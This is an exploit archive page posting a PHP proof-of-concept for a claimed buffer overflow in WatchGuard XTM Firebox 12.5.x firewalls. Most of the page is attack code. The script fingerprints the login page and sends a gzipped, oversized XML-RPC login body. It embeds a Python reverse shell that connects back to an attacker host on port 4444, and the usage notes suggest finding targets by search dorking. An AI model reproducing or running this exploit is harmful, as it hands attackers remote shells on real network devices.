what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WatchGuard XTM Firebox 12.5.x Buffer Overflow

WatchGuard XTM Firebox 12.5.x Buffer Overflow
Posted Oct 15, 2024
Authored by indoushka

WatchGuard XTM Firebox version 12.5.x suffers from a buffer overflow vulnerability.

tags | exploit, overflow
SHA-256 | 78e6c67201f4e49d3389589aa7f41fc87652c0fde365477237abb7c91d9f8057

WatchGuard XTM Firebox 12.5.x Buffer Overflow

Change Mirror Download
=============================================================================================================================================
| # Title : WatchGuard XTM Firebox 12.5.x Code Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits) |
| # Vendor : https://www.watchguard.com/wgrd-help/documentation/xtm |
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] uses the CURL to Allow remote command .

[+] Line 86 set your target .

[+] save code as poc.php .

[+] USage : cmd => c:\www\test\php poc.php

[+] PayLoad :


<?php
class WatchGuardExploit {
private $targetUri;
private $lhost;
private $lport;
private $shell;

public function __construct($targetUri, $lhost, $lport, $shell = "/usr/bin/python") {
$this->targetUri = $targetUri;
$this->lhost = $lhost;
$this->lport = $lport;
$this->shell = $shell;
}

public function sendRequest($method, $url, $data = null, $headers = []) {
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);

if ($data) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}

if (!empty($headers)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}

$response = curl_exec($ch);
curl_close($ch);

return $response;
}

public function checkWatchGuardFirebox() {
$url = $this->targetUri . '/auth/login';
$response = $this->sendRequest('GET', $url, null, ['from_page' => '/']);

if ($response && strpos($response, 'Powered by WatchGuard Technologies') !== false
&& strpos($response, 'Firebox') !== false) {
return true;
}
return false;
}

public function createBofPayload() {
// Generate the buffer overflow payload with Python reverse shell code
$randomStr = bin2hex(random_bytes(2)); // 4-character random alphanumeric
$pyFilename = "/tmp/" . $randomStr . ".py";
$payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><" . str_repeat('A', 3181) . "MFA>";
$payload .= str_repeat('<BBBBMFA>', 3680);

// Include a Python reverse shell command as the payload
$payload .= 'import socket;from subprocess import call; from os import dup2;';
$payload .= 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);';
$payload .= 's.connect(("' . $this->lhost . '",' . $this->lport . '));';
$payload .= 'dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);';
$payload .= 'call(["' . $this->shell . '","-i"]);';
$payload .= 'import os; os.remove("' . $pyFilename . '");';

return gzencode($payload); // gzip encoding
}

public function exploit() {
if (!$this->checkWatchGuardFirebox()) {
echo "Target is not vulnerable.\n";
return;
}

echo "Target is vulnerable. Sending exploit...\n";
$bofPayload = $this->createBofPayload();

// Send the buffer overflow payload
$url = $this->targetUri . '/agent/login';
$this->sendRequest('POST', $url, $bofPayload, [
'Accept-Encoding: gzip, deflate',
'Content-Encoding: gzip'
]);

echo "Payload sent.\n";
}
}

// Example usage:
$exploit = new WatchGuardExploit('https://target-ip:8080', 'attacker-ip', 4444);
$exploit->exploit();



Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    10 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close